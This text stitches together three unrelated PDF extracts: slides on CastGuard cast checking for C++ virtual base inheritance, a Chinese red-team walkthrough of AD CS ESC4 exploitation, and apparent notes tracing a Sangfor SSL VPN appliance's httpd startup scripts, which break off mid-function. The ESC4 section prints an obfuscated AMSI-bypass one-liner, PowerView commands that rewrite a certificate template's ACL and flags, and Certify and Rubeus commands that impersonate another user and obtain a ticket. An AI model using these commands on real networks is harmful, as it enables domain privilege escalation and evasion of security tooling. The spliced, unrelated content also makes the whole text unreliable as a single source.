Virtual Base Inheritance Overview Inheritance works efficiently because offsets can be computed statically. A pointer to an object can be upcast or downcast using simple pointer arithmetic based on where the type being casted to is “laid out” in the object’s memory. The same is generally true for multiple inheritance. Object layout is known at compile time and any static_cast can be statically computed at compile time. Things get complicated when the same base class is inherited from multiple times (i.e. diamond pattern). Non-Virtual Base Diamond Pattern B A C D E F Object “F” layout: 0x0 vftable of A 0x8 <members of A> 0x? <members of B> 0x? <members of D> 0x? vftable of A 0x? <members of A> 0x? <members of C> 0x? <members of E> 0x? <members of F> The object “A” is inherited from twice and so there are two copies of it in “F”. This may not be desirable. Note: Cast checks for this pattern are identical to single inheritance / multiple inheritance Diamond Pattern Issues An object of type “F” contains two copies of the type “A”. “A” is inherited from by both “B” and “C”. Which means “B” and “C” have their own copy of “A”. C++ does not automatically determine “you are using multiple inheritance and inheriting from the same base class twice so I will de-duplicate the object”. Sometimes having multiple copies of the same base object is actually desired. Can lead to bizarre behavior. You cannot directly static_cast a pointer of type “A” to a pointer of type “F”. “F” has two copies of “A” so you need to first static_cast to either “B” or “C” and then cast to “F” so the compiler knows which copy of “A” you are trying to access. Virtual Base Inheritance Offers a Solution Allows the compiler to de-duplicate the base class “A”. Anything that inherits from “A” cannot trivially cast to it since the location of “A” depends on the layout of the underlying type that was created. i.e. an object of type “B” and type “F” may have “A” laid out at different positions. A virtual base table is created in each object that contains the offset of “A” from the current “this” pointer. Casting to “A” requires looking up how to adjust the current “this” pointer by reading from the virtual base table. Virtual Base Diamond Pattern B A C D E F Object “F” layout: 0x0 <vbase table of B> 0x? <members of B> 0x? <members of D> 0x? vftable of A 0x? <members of A> 0x? <vbase table of C> 0x? <members of C> 0x? <members of E> 0x? <members of F> There is a single copy of “A” in the object “F” The object has a “virtual base table” to identify where “A” is relative to the object base. Virtual Base Diamond Pattern Virtual base inheritance allows for a single copy of the A. Virtual base table contains the offset from the “this” pointer of the current object to the base of “Object A” inside the object. Object “F” layout: 0x0 <vbase table of B> 0x? <members of B> 0x? <members of D> 0x? <vbase table of C> 0x? <members of C> 0x? <members of E> 0x? <members of F> 0x? vftable of A 0x? <members of A> Object “B” layout: 0x0 <vbase table of B> 0x? <members of B> 0x? vftable of A 0x? <members of A> B A C D E F Virtual Base Vftable View B::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ A::$vftable@ C::$vftable@ Offset Name 0x00 __CastGuardVftableStart 0x08 A::$vftable@ 0x10 B::$vftable@ 0x18 D::$vftable@ 0x20 C::$vftable@ 0x28 E::$vftable@ 0x30 F::$vftable@ 0x38 __CastGuardVftableEnd Cast Validity A::$vftable@ B::$vftable@ D::$vftable@ C::$vftable@ E::$vftable@ F::$vftable@ A ✓ ✓ ✓ ✓ ✓ ✓ B ✓ ✓ ✓ C ✓ ✓ ✓ D ✓ ✓ E ✓ ✓ F ✓ LHS Type (Type Being Cast To) Legal Underlying Vftables B::$vftable@ D::$vftable@ E::$vftable@ F::$vftable@ A::$vftable@ C::$vftable@ Bitmap Creation A::$vftable@ B::$vftable@ D::$vftable@ C::$vftable@ E::$vftable@ F::$vftable@ A ✓ ✓ ✓ ✓ ✓ ✓ B ✓ ✓ ✓ C ✓ ✓ ✓ D ✓ ✓ E ✓ ✓ F ✓ LHS Type (Type Being Cast To) Legal Underlying Vftables Bitmap bits relative to start of object A_Bitmap 1 1 1 1 1 1 B_Bitmap 1 1 0 0 1 C_Bitmap 1 1 1 D_Bitmap 1 0 0 1 E_Bitmap 1 1 F_Bitmap 1 LHS Type (Type Being Cast To) Notes  Bitmap has zeros in it, cannot be optimized to a range check.  With complicated virtual base hierarchies, there may be no way to order the vftables that results in bitmaps of all 1’s.  We don’t even attempt to brute force alternate vftable orderings since very little code uses virtual base, just pay the overhead. ; Start of CastGuard check ; rcx == the right-hand side object pointer. ; First do the nullptr check. This could be optimized away but is not today. ; N.B. If the static_cast has to adjust the pointer base, this nullptr check ; already exists. 4885c9 test rcx, rcx 7433 je CodeGenTest!DoCast+0x3e ; Load the virtual base table 488b01 mov rax, qword ptr [rcx] ; Right-hand side pointer adjustment (not part of CastGuard) 488d59e8 lea rbx, [rcx-18h] ; Read from virtual-base table 8b5004 mov edx, dword ptr [rax+4] ; Load vftable to compare against 488d057c6c0500 lea rax, [CodeGenTest!MyGrandChild1::`vftable'] ; Add the offset read from the virtual-base table to the object pointer 4803ca add rcx, rdx ; Read the vftable 488b11 mov rdx, qword ptr [rcx] ; Do the ordinal check using an ROL instruction to force alignment ; Low bits below the alignment get shifted to high bits making the ; value huge. 482bd0 sub rdx, rax 48c1c240 rol rdx, 3dh ; shift out low 3 bits 4883fa01 cmp rdx, 3 ; ordinal range check ; Jump to app compat check if the range check fails 7336 jae CodeGenTest!DoCast+0x65 ; Load the bit vector and do a bit test against it using the ordinal computed 488d059af20500 lea rax, [CodeGenTest!CastGuardBitVector] 480fa310 bt qword ptr [rax], rdx ; Jump to a failure stub if the bitmap test fails 7330 jae CodeGenTest!DoCast+0x6c eb02 jmp CodeGenTest!DoCast+0x40 ; End of CastGuard check Optimizations Bitmaps that are all 1’s can be turned in to range checks Bitmap bits relative to start of object A_Bitmap 1 1 1 1 1 1 B_Bitmap 1 1 0 0 1 C_Bitmap 1 1 1 D_Bitmap 1 0 0 1 E_Bitmap 1 1 F_Bitmap 1 LHS Type (Type Being Cast To) Optimizations Bitmaps where all 1’s are at fixed offsets from each other don’t need a bitmap (but do need to enforce alignment) Bitmap bits relative to start of object A_Bitmap 1 1 1 1 1 1 B_Bitmap 1 1 0 0 1 C_Bitmap 1 1 1 D_Bitmap 1 0 0 1 E_Bitmap 1 1 F_Bitmap 1 LHS Type (Type Being Cast To) 1. Find pointer delta (current_vftable – address_of_D_vftable) 2. Compute the ordinal by shifting the delta 3. Do a range check on the ordinal Optimizations Prefer to not use vftables that have virtual base inheritance. Example: RHS type and LHS type each have 2 vftable’s 1 vftable is part of a virtual-base class hierarchy 1 vftable is part of a normal inheritance class hierarchy Do the CastGuard check on the vftable from the normal inheritance hierarchy so that no virtual base overhead is needed Misc One Definition Rule (ODR) Violations Sometimes can be detected at compile time (i.e. ODR violation occurs in LTCG code) To ease adoption, CastGuard will not protect these hierarchies but won’t error. If detected at link time (i.e. static lib introduces ODR violation): If static lib introduces a smaller or identically sized vftable, we keep the vftable already placed in CastGuard region by the compiler. If static lib introduces a bigger vftable, linker must select this vftable (documented behavior). This would break CastGuard, so we throw a linker error.
pdf
针对域证书服务的攻击(4)- ESC4 0x00 前言 ESC4叫做“Vulnerable Certificate Template Access Control”,其实是弱ACL的证书模板会导致域提权。 写完ESC1-ESC3,ESC4由于白皮书没有比较详细的过程,并且我本地域环境出了点问题,就搁置到现 在。但是国庆的时候,看见国外的研究员发布了一篇关于ESC4的文章:https://github.com/daem0nc0 re/Abusing_Weak_ACL_on_Certificate_Templates,减少了我很多工作量。我们知道每个模板都有自己 的权限控制策略,ESC4利用的就是这个权限控制不严格,例如:domain users组的用户具有写入权 限,这样它就可以修改模板的配置为可以满足提权的配置样式,比如修改成ESC1的配置。言归正传,我 们还是先来搭建测试环境。 0x01 危害环境搭建 我们基于"基本EFS"配置ESC4的危害模板,修改模板名称为ESC4,其他配置如下: 开启CA证书管理程序批准 开启授权签名 配置Domain Users有可写权限(危害点) 其他保持默认 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 1 / 9 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 2 / 9 - Welcome to www.red-team.cn 好了配置就这么简单,其实,重要的是domain users具有写入权限。其他的配置只是模仿常见情况。然 后记得发布证书模板。 0x02 利用 我还是使用Certify.exe 来发现危害: Certify.exe find /vulnerable Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 3 / 9 - Welcome to www.red-team.cn 我们主要利用的是domain users具有WriteDacl的权限,来修改模板的配置,让这个模板满足ESC1的要 求。 模板注册权限 我们现在只有模板的写入权限,没有模板的注册权限,我们来给模板加注册权限,我们使用powerview 来操作,直接加载powerview可能会被AMSI拦截: 这个难不倒我们,读过《bypass amsi的前世今生系列》的同学应该秒过,我们直接用一句话关闭 AMSI: 加注册权限: $a="5492868772801748688168747280728187173688878280688776828" $b="1173680867656877679866880867644817687416876797271" $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $d=[Ref].Assembly.GetType($c) $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $f=$d.GetField($e,'NonPublic,Static') $f.SetValue($null,$true) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 4 / 9 - Welcome to www.red-team.cn 我们使用Certify.exe来验证下是否有注册权限: 禁用CA证书管理程序批准 虽然这个是我们人工配置开启的,是为了模拟常见情况,我们这会儿把这个配置关闭。同样使用 powerview: Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" - RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=redteamlab,DC=com" -Verbose Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteamlab,DC=com" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 5 / 9 - Welcome to www.red-team.cn 和前文中的图对比,选项中已经没有 PEND_ALL_REQUESTS 选项了。 禁用授权签名 我们把授权签名数设置为0,就可以达到禁用的效果: 启用在请求中提供使用者名称 阅读过ESC1-3的小伙伴应该知道这个配置的重要性,配置了这个配置,我们就可以将任何用户名指定为 SAN的值。 更改应用策略扩展 我们给应用策略扩展加上“客户端身份验证”,这样我们才能使用证书登录。 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteamlab,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteamlab,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteamlab,DC=com" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 6 / 9 - Welcome to www.red-team.cn 这么一通操作下来,其实就是把ESC4改成了ESC1,核心是我们能够对模板有写入权限。接下来的操作就 是和ESC1的操作一样了,利用certify.exe搞TGT。 0x03 理解 在0x02 利用中,我们使用powerview直接修改了模板的很多属性,我们可以使用powerview来看下有哪 些属性: 这个配置,直接对应我们界面配置的相关选项,在这儿我直接借用https://github.com/daem0nc0re/Ab using_Weak_ACL_on_Certificate_Templates的图。 Certify.exe request /ca:"win2019.redteamlab.com\redteamlab-WIN2019-CA-1" /template:ESC4 /altname:xiaoaiti openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Rubeus.exe asktgt /user:xiaoaiti /certificate:cert.pfx /ptt Get-DomainObject -SearchBase "CN=Configuration,DC=redteamlab,DC=com" -LDAPFilter "(objectclass=pkicertificatetemplate)" -Identity ESC4 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 7 / 9 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 8 / 9 - Welcome to www.red-team.cn 0x04 总结 ESC4真正的核心是权限控制的问题,让我们地权限用户可以修改模板,导致了我们可以把模板修改成可 以提权的样式,然后利用。 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 9 / 9 - Welcome to www.red-team.cn
pdf
/sf/app/apache_portal/bin/httpd /etc/profile/root/.bash_profile /etc/bashrc/root/.bashrc /etc/profile.d/*.sh/etc/profile.d/lang.sh /etc/sysconfig/i18n/etc/rc.local/etc/rc.d/rc.local /etc/rc.local /etc/rc.d/rc.local /etc/profile.d/ /etc/init.d systemctl systemctl list-units --type=service /usr/lib/systemd/system crontab cat /etc/crontab ​ ssl443——httpd 0x00 0x01 0x02 /sf/app/apache_portal/bin/httpd /usr/lib/systemd/system /sf/app/apache_portal/bin/httpd systemctl list-units --type=service # systemd-user-sessions.service Permit User Sessions sangfor-session_check.service Sangfor session_check systemd-vconsole-setup.service Setup Virtual Console systemd-logind.service Login Service #web sangfor-conhttpd.service Sangfor EMM Http Server sangfor-boa.service Sangfor WebUI Http Server sangfor-ntwf_framework.service Sangfor ntwf framework(node_twf) sangfor-php-fpm.service Sangfor PHP-FPM Service sangfor-ssllogs.service Sangfor WebUI Ssllogs Service #vpn sangfor-svpn.service Sangfor SSLVPN Core Service [root@sslvpn system]# cat sangfor-svpn.service [Unit] Description=Sangfor SSLVPN Core Service After=sangfor-env.service sangfor-module.service sangfor-net.service sangfor-ntwf_framework.service [Service] CPUQuota=160% Type=forking EnvironmentFile=/etc/sysconfig/sangforenv ExecStart=/sf/app/svpn/svpn_ctrl start ExecReload=/sf/app/svpn/svpn_ctrl restart ExecStop=/sf/app/svpn/svpn_ctrl stop # We want systemd to give httpd some time to finish gracefully, but still want # it to kill httpd after TimeoutStopSec if something went wrong during the # graceful stop. Normally, Systemd sends SIGTERM signal right after the # ExecStop, which would kill httpd. We are sending useless SIGCONT here to give # httpd time to finish. KillSignal=SIGTERM PrivateTmp=false Restart=always RestartSec=5 [Install] WantedBy=multi-user.target ExecStart=/sf/app/svpn/svpn_ctrl start ​ /sf/app/apache_portal/bin/httpd ​ /sf/app/apache_portal/bin/apachectl start -DIS_GM_DEV systemctl stop sangfor-svpn.service ​ systemctl start sangfor-svpn.service ​ /sf/app/apache_portal/bin/httpd /sf/app/apache_portal/ [root@sslvpn system]# ls /sf/app/apache_portal/conf apache-errpage.conf charset.conv get_sp_module_macro.sh magic mime.types modify_httpdconf.sh sp_modules.conf sp_modules.conf.bak [root@sslvpn system]# 0x03 svpn_ctrl [root@sslvpn system]# cat /sf/app/svpn/svpn_ctrl #!/bin/bash # # # Starts the at daemon # Source function library. . /sf/sbin/funcssl RETVAL=0 PROG="svpn" APACHE_LOCK_DIR="/sftmpfs/lock/apache_locks/" recordcaller ${PROG} ${1} mmap_conf_create() { if [ ! -f /etc/sangfor/ssl/mmap.conf ];then find /usr/local/apache2/htdocs -type f -print \ |grep -v "\.csp$" | grep -v "\.tml$" | grep -v "\.sin$" | grep -v "\.inc$" | sed -e 's/.*/MMapFile &/' > /etc/sangfor/ssl/mmap.conf fi } authz_conf_create() { PLUGIN_LISTS=/etc/runtime/plugin_lists.json PLUGIN_MAPPING=/etc/runtime/plugin_mapping.json PLUGIN_ALIAS=/etc/runtime/plugin_service_alias.json PLUGIN_GROUP=/etc/runtime/plugin_service_groups.json if [[ -f ${PLUGIN_LISTS} && -f ${PLUGIN_MAPPING} && -f ${PLUGIN_ALIAS} && -f ${PLUGIN_GROUP} ]]; then return 0 fi NTWF_PREPARE=/sf/app/ntwf_framework/node_ntwf_prepare.sh if [ -f ${NTWF_PREPARE} ]; then chmod +x ${NTWF_PREPARE} ${NTWF_PREPARE} fi return 0 } check_httpconfig() { if [ -f /config/etc/sangfor/ssl/sslchain.crt ] && [ ! -f /etc/sangfor/ssl/sslchain.crt ]; then cp -f /config/etc/sangfor/ssl/sslchain.crt /etc/sangfor/ssl/sslchain.crt fi } start() { if [ ! -d "${APACHE_LOCK_DIR}" ]; then mkdir -p "${APACHE_LOCK_DIR}" fi touch /tmp/svpn_start mkdir -p /tmp/cookie chmod 777 /tmp/cookie chmod 777 /etc/runtime/cookie . /sf/sbin/pre_env buildconf > /dev/null 2>&1 tpl_conv > /dev/null 2>&1 config_worker > /dev/null 2>&1 mmap_conf_create /sf/sbin/makeservercrt.sh config /config/etc/sangfor/ssl/server.crt user cp -af /config/etc/sangfor/ssl/server.crt /etc/sangfor/ssl/server.crt cp -af /etc/db/sqlite3/message2iptun.sq3 /etc/runtime/ #add by suntao for m68en result=`openssl rsa -in /sftmpfs/etc/sangfor/ssl/ssl.key -noout -modulus | awk -F'=' '{print $2}'` qdbconf /sftmpfs/etc/db/sysconf/sysconf.db -d "Advanced.DevCertModulus" 1>&2>/dev/null qdbconf /sftmpfs/etc/db/sysconf/sysconf.db -i "Advanced.DevCertModulus" $result 1>&2>/dev/null result=`openssl rsa -in /sftmpfs/etc/sangfor/ssl/ssl.key -text -noout | grep publicExponent | awk -F ' ' '{print $2}'` qdbconf /sftmpfs/etc/db/sysconf/sysconf.db -d "Advanced.DevCertPublicExponent" 1>&2>/dev/null qdbconf /sftmpfs/etc/db/sysconf/sysconf.db -i "Advanced.DevCertPublicExponent" $result 1>&2>/dev/null convert_crdb 1>&2>/dev/null #end by suntao for m68en authz_conf_create # measures check_httpconfig # ipcs ipcs -s | grep nobody | awk '{print "ipcrm -s " $2}' | bash if [ -f /sf/app/ssl/gmdev ]; then /sf/app/apache_portal/bin/apachectl start -DIS_GM_DEV else /sf/app/apache_portal/bin/apachectl start fi RETVAL=$? /sf/sbin/crt2dat /etc/sinfor/ssl/ssl.crt /etc/htdocs/com/crt2.dat #/sf/sbin/rebuild_vlan.sh > /hislog/rebuild_vlan_log.txt 2>&1 /sf/sbin/radius_account on rm /tmp/svpn_start -f return $RETVAL } #쳣£httpdпforkֲΪhttpdӽ̡ #ʱpidof httpdķʽɱ̾Ϳɱɾ #ԣΪȷʽͨѯ˿ڵķʽҵ쳣httpḍȻɱ kill_malformed_child() { local listenport listenport=`grep '^Listen' /config/etc/sangfor/ssl/httpd.conf /config/etc/sangfor/ssl/ssl.conf | awk '{print $2}'` if [ -z "$listenport" ]; then return fi local trytimes=0 while [ $trytimes -lt 5 ]; do local allpids="" local pids="" local name="" local tmp="" for port in $listenport do if echo "$port" | grep -q '[[:digit:]]\+'; then tmp=`netstat -anpt | grep -i "tcp.*0.0.0.0:$port[[:space:]]\+" | grep -v "httpd" | awk '{print $7}'` pids=`echo $tmp | awk -F/ '{print $1}'` if [ -n "$pids" ]; then allpids="${allpids} $pids" name=`echo $tmp | awk -F/ '{print $2}'` echo "`date` stop svpn, kill -9 ${pids}(${name}) who listen $port" >> /hislog/error_log fi fi done if [ -z "$allpids" ]; then break fi let trytimes+=1 kill -9 $allpids > /dev/null 2>&1 sleep 1 done } stop() { rm -rf /etc/runtime/online_user/* rm -rf /etc/runtime/webopt/* rm -rf /sftmpfs/lock/pid.httpd /sf/app/apache_portal/bin/apachectl stop sleep 1 TRYTIME=0 while [ $TRYTIME -lt 5 ] do let TRYTIME+=1 count=`pidof httpd | wc -w ` if [ $count -eq 0 ]; then RETVAL=0 break; fi echo "`date` stop svpn, pidof httpd $count" >> /hislog/error_log killall -9 httpd > /dev/null 2>&1 sleep 1 done kill_malformed_child RETVAL=$? rm -rf ${APACHE_LOCK_DIR}* /sf/sbin/radius_account off return $RETVAL } restart() { stop start } reload() { restart } case "$1" in start) start ;; stop) stop ;; reload|restart) restart ;; *) echo $"Usage: $0 {start|stop|restart}" exit 1 esac exit $? exit $RETVAL if [ -f /sf/app/ssl/gmdev ]; then /sf/app/apache_portal/bin/apachectl start -DIS_GM_DEV else /sf/app/apache_portal/bin/apachectl start fi ​ /sf/app/apache_portal/bin ​ [root@sslvpn bin]# cat apachectl #!/bin/sh # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # # Apache control script designed to allow an easy command line interface # to controlling Apache. Written by Marc Slemko, 1997/08/23 # # The exit codes returned are: # XXX this doc is no longer correct now that the interesting # XXX functions are handled by httpd # 0 - operation completed successfully # 1 - # 2 - usage error # 3 - httpd could not be started # 4 - httpd could not be stopped # 5 - httpd could not be started during a restart # 6 - httpd could not be restarted during a restart # 7 - httpd could not be restarted during a graceful restart # 8 - configuration syntax error # # When multiple arguments are given, only the error from the _last_ # one is reported. Run "apachectl help" for usage info # ACMD="$1" ARGV="$@" # # |||||||||||||||||||| START CONFIGURATION SECTION |||||||||||||||||||| # -------------------- -------------------- # # the path to your httpd binary, including options if necessary HTTPD='/sf/app/apache_portal/bin/httpd' # # pick up any necessary environment variables if test -f /sf/app/apache_portal/bin/envvars; then . /sf/app/apache_portal/bin/envvars fi # # a command that outputs a formatted text version of the HTML at the # url given on the command line. Designed for lynx, however other # programs may work. LYNX="lynx -dump" # # the URL to your server's mod_status status page. If you do not # have one, then status and fullstatus will not work. STATUSURL="http://localhost:80/server-status" # # Set this variable to a command that increases the maximum # number of file descriptors allowed per child process. This is # critical for configurations that use many file descriptors, # such as mass vhosting, or a multithreaded server. ULIMIT_MAX_FILES="ulimit -S -n `ulimit -H -n`" # -------------------- -------------------- # |||||||||||||||||||| END CONFIGURATION SECTION |||||||||||||||||||| # Set the maximum number of file descriptors allowed per child process. if [ "x$ULIMIT_MAX_FILES" != "x" ] ; then $ULIMIT_MAX_FILES fi ERROR=0 if [ "x$ARGV" = "x" ] ; then ARGV="-h" fi case $ACMD in start|stop|restart|graceful|graceful-stop) # add for sp module, same as sp package /sf/app/apache_portal/conf/modify_httpdconf.sh; DSTRS=`/sf/app/apache_portal/conf/get_sp_module_macro.sh 2>/dev/null`; if [ $? -ne 0 ]; then exit 1; fi $HTTPD -k $ARGV $DSTRS ERROR=$? ;; startssl|sslstart|start-SSL) echo The startssl option is no longer supported. echo Please edit httpd.conf to include the SSL configuration settings echo and then use "apachectl start". ERROR=2 ;; configtest) $HTTPD -t ERROR=$? ;; status) $LYNX $STATUSURL | awk ' /process$/ { print; exit } { print } ' ;; fullstatus) $LYNX $STATUSURL ;; *) $HTTPD "$@" ERROR=$? esac exit $ERROR HTTPD='/sf/app/apache_portal/bin/httpd' start|stop|restart|graceful|graceful-stop) # add for sp module, same as sp package /sf/app/apache_portal/conf/modify_httpdconf.sh; DSTRS=`/sf/app/apache_portal/conf/get_sp_module_macro.sh 2>/dev/null`; if [ $? -ne 0 ]; then exit 1; fi $HTTPD -k $ARGV $DSTRS ERROR=$? ;; modify_httpdconf.sh *) $HTTPD "$@" ERROR=$? /sf/app/apache_portal/bin/apachectl start modify_httpdconf.sh apachectl -h ​ -V ​ -D SERVER_CONFIG_FILE="/config/etc/sinfor/ssl/httpd.conf" modify_httpdconf.sh [root@sslvpn bin]# cat ../conf/modify_httpdconf.sh #!/bin/bash # # auth: yj # ppid=$$ ppid_str=`cat /proc/${ppid}/cmdline` logfile="/hislog/error_log" mylog() { echo "`date` [modifyhttpd-$ppid] $@" >> "${logfile}" } function loglimit() { MAXKSIZE=1024 let MINKSIZE=${MAXKSIZE}/2 if [ ${#} -ne 1 ]; then return 2; fi if ! test -e ${1} ; then return 1; fi CURKSIZE=`ls -l ${1} | awk '{print $5}'` let CURKSIZE/=1024 if [ ${CURKSIZE} -gt ${MAXKSIZE} ]; then let SKIPKSIZE=${CURKSIZE}-${MINKSIZE} dd if=${1} of=/tmp/loglimit_errlog bs=1024 count=8192 skip=${SKIPKSIZE} echo ">>>>trunc<<<<"`date` >${1} cat /tmp/loglimit_errlog >>${1} rm -f /tmp/loglimit_errlog fi } is_dev_beyond_m75() { if [ -f /usr/lib/systemd/system/sangfor-svpn.service ]; then return 0 else return 1 fi } is_cloud() { cat /app/appversion | grep -q "Cloud1.0\|Cloud1.0R1\|Cloud1.1\|Cloud1.2" if [ $? -eq 0 ]; then return 0 else return 1 fi } # initenv() { PRE_STR="D_" if is_dev_beyond_m75; then HTTPD_CONF_TEMP="/config/default_cfg/httpd.conf.temp" APACHE_INSTALL_DIR="/sf/app/apache_portal" APACHECTL_FILE="/sf/app/apache_portal/bin/apachectl" BUILD_CONF_FILE="/sf/sbin/buildconf" elif is_cloud; then HTTPD_CONF_TEMP="/app/usr/local/apache2/conf/httpd.conf.temp" APACHE_INSTALL_DIR="/app/usr/local/apache2" APACHECTL_FILE="/app/usr/local/apache2/bin/apachectl" BUILD_CONF_FILE="/app/usr/local/apache2/conf/buildconf" else HTTPD_CONF_TEMP="/app/usr/local/apache2/conf/httpd.conf.temp" APACHE_INSTALL_DIR="/app/usr/local/apache2" APACHECTL_FILE="/app/usr/local/apache2/bin/apachectl" BUILD_CONF_FILE="/app/usr/local/apache2/conf/buildconf" fi BCK_APACHECTL_FILE="${APACHECTL_FILE}_tomod" APACHE_CONF_DIR="${APACHE_INSTALL_DIR}/conf" SP_MODULE_DIRNAME="sp_modules" SP_MODULE_FILE="${APACHE_CONF_DIR}/sp_modules.conf" SP_MODULE_DIR="${APACHE_INSTALL_DIR}/${SP_MODULE_DIRNAME}" SP_MODULE_CONF_DIR="${APACHE_INSTALL_DIR}/sp_conf" GET_SP_MODULE_MACRO="${APACHE_CONF_DIR}/get_sp_module_macro.sh" BCK_HTTPD_CONF_TEMP="${SP_MODULE_CONF_DIR}/httpd.conf.temp_tomod" mkdir -p "$SP_MODULE_DIR" mkdir -p "$SP_MODULE_CONF_DIR" mylog "HTTPD_CONF_TEMP: ${HTTPD_CONF_TEMP}, SP_MODULE_FILE: ${SP_MODULE_FILE}, APACHECTL_FILE: ${APACHECTL_FILE}" } clear_and_exit() { ret=1 if [ "x$1" != "x" ]; then ret="$1" fi #rm -f "${BCK_HTTPD_CONF_TEMP}" loglimit "${logfile}" exit ${ret} } check_md5() { local amd5=`md5sum "$1" 2>/dev/null | awk '{print $1}'` local bmd5=`md5sum "$2" 2>/dev/null | awk '{print $1}'` if [ "x${amd5}" != "x" ] && [ "x${amd5}" == "x${bmd5}" ]; then return 0 fi return 1 } # HTTPD_CONF_TEMP; upgrade_conf() { # spso # # LoadModule por_inject_module modules/mod_por_inject.so # LoadModule res_hash_module modules/mod_res_hash.so # LoadModule common_res_module modules/mod_common_res.so # LoadModule por_check_module modules/mod_por_check.so # local histoy_sp_solist="mod_por_inject.so mod_res_hash.so mod_common_res.so mod_por_check.so" # cp "${HTTPD_CONF_TEMP}" "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then mylog "copy to ${BCK_HTTPD_CONF_TEMP} failed" clear_and_exit fi if [ ! -f "${BCK_HTTPD_CONF_TEMP}" ]; then mylog "not exist ${BCK_HTTPD_CONF_TEMP}, failed!" clear_and_exit fi for one in ${histoy_sp_solist}; do # httpd.conf.tempso grep -q "^[[:space:]]*LoadModule[[:space:]]*.*${one}" "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then grep -q "^##PI_DEL##[[:space:]]*LoadModule[[:space:]]*.*${one}" "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then mylog "not exist ${one} in httpd.conf.temp" fi else # httpd.conf.tempso srcstr=`grep "^[[:space:]]*LoadModule[[:space:]]*.*${one}" "${BCK_HTTPD_CONF_TEMP}"` sed -i -e 's%^[[:space:]]*LoadModule[[:space:]]*.*'"${one}"'%##PI_DEL##'"${srcstr}"'%g' "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then mylog "del ${one} record ${BCK_HTTPD_CONF_TEMP} failed" clear_and_exit fi fi # sp_modules if [ ! -f "${SP_MODULE_DIR}/${one}" ] && [ -f "${APACHE_INSTALL_DIR}/modules/${one}" ]; then ln -s "../modules/${one}" "${SP_MODULE_DIR}/${one}" fi done # httpd.conf.temp Include sp_modules.conf grep -q "^[[:space:]]*Include[[:space:]]*${SP_MODULE_FILE}" "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then echo "" >> "${BCK_HTTPD_CONF_TEMP}" echo -e "<IfDefine ${PRE_STR}sp_modules>\nInclude ${SP_MODULE_FILE}\n</IfDefine>" >> "${BCK_HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then mylog "record Include ${SP_MODULE_FILE} to ${BCK_HTTPD_CONF_TEMP} failed" clear_and_exit fi fi # : 100 cnt=`cat "${BCK_HTTPD_CONF_TEMP}" 2>/dev/null | wc -l | awk '{print $1}'` if [ "x$cnt" != "x" ] && [ $cnt -lt 100 ]; then mylog "${BCK_HTTPD_CONF_TEMP} line $cnt low 100, failed!" clear_and_exit fi # md5, check_md5 "${BCK_HTTPD_CONF_TEMP}" "${HTTPD_CONF_TEMP}" if [ $? -eq 0 ]; then mylog "${BCK_HTTPD_CONF_TEMP} == ${HTTPD_CONF_TEMP}, success!" clear_and_exit 0 fi # cp "${BCK_HTTPD_CONF_TEMP}" "${HTTPD_CONF_TEMP}" if [ $? -ne 0 ]; then mylog "copy ${BCK_HTTPD_CONF_TEMP} to ${HTTPD_CONF_TEMP} failed" clear_and_exit fi #rm -f "${BCK_HTTPD_CONF_TEMP}" mylog "upgrade success!!!" return 0 } after_upgrade() { if is_dev_beyond_m75; then /sf/sbin/buildconf else /app/usr/local/apache2/conf/buildconf fi } main() { initenv upgrade_conf after_upgrade loglimit "${logfile}" exit 0 } only_run() { local tmpfile="/tmp/ps_out_$$" ps aux | grep "modify_httpdconf.sh" > "${tmpfile}_ret" cat "${tmpfile}_ret" | grep -v $$ | grep -v grep | grep -v 'sh -c' | awk '{print $2}' > "$tmpfile" local mypids=`cat $tmpfile` if [ -n "$mypids" ]; then rm -rf "$tmpfile" "${tmpfile}_ret" mylog "`date` another modify_httpdconf(${mypids}) is running!" clear_and_exit fi rm -rf "$tmpfile" "${tmpfile}_ret" } # , . , only_run main main() { initenv // 